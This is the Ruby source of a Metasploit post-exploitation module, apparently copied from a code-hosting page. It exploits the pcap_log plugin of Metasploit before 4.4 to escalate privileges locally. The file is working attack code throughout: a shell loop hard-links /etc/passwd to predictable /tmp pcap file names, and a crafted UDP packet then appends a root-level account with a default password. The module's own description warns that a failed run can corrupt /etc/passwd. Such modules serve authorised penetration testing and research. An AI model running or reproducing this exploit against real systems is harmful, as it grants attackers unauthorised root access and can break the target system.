105 lines
4.2 KiB
Ruby
105 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/exploit/local/linux'
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class MetasploitModule < Msf::Post
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Rank = ManualRanking
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include Msf::Post::File
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include Msf::Exploit::Local::Linux
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation',
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'Description' => %q{
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Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
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creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
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filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within.
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This, and all the other packets, are appended to /etc/passwd.
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Successful exploitation results in the creation of a new superuser account.
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This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
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files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
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a permanent DoS on the target by corrupting the /etc/passwd file.
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},
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'License' => MSF_LICENSE,
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'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
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'Platform' => %w{ bsd linux unix },
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'References' =>
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[
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[ 'BID', '54472' ],
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[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
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[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
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],
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'DisclosureDate' => "Jul 16 2012",
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'Targets' =>
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[
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[ 'Linux/Unix Universal', {} ],
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],
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'Stance' => Msf::Exploit::Stance::Passive,
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'DefaultTarget' => 0,
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}
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))
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register_options(
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[
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Opt::RPORT(2940),
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OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]),
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OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]),
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OptInt.new("MINUTES", [true, "Number of minutes to try to inject", 5])
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], self)
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end
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def normalize_minutes
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datastore["MINUTES"].abs rescue 0
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end
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def run
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print_status "Setting up the victim's /tmp dir"
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initial_size = cmd_exec("cat /etc/passwd | wc -l")
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print_status "/etc/passwd is currently #{initial_size} lines long"
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i = 0
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j = 0
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loop do
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if (i == 0)
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j += 1
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break if j >= datastore['MINUTES'] + 1 # Give up after X minutes
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# 0a2940: cmd_exec is slow, so send 1 command to do all the links
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print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
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cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
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end
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current_size = cmd_exec("cat /etc/passwd | wc -l")
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if current_size == initial_size
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# PCAP is flowing
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pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
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vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
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udpsock = Rex::Socket::Udp.create(
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{
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'Context' => {'Msf' => framework, 'MsfExploit'=>self}
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})
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res = udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
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else
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break
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end
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sleep(1) # wait a second
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i = (i+1) % 60 # increment second counter
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end
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if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
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print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
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# TODO: Consider recording our now-created username and password as a valid credential here.
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else
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print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
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end
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# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
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# However beceause the session is not a terminal, su will not always allow this.
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end
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end
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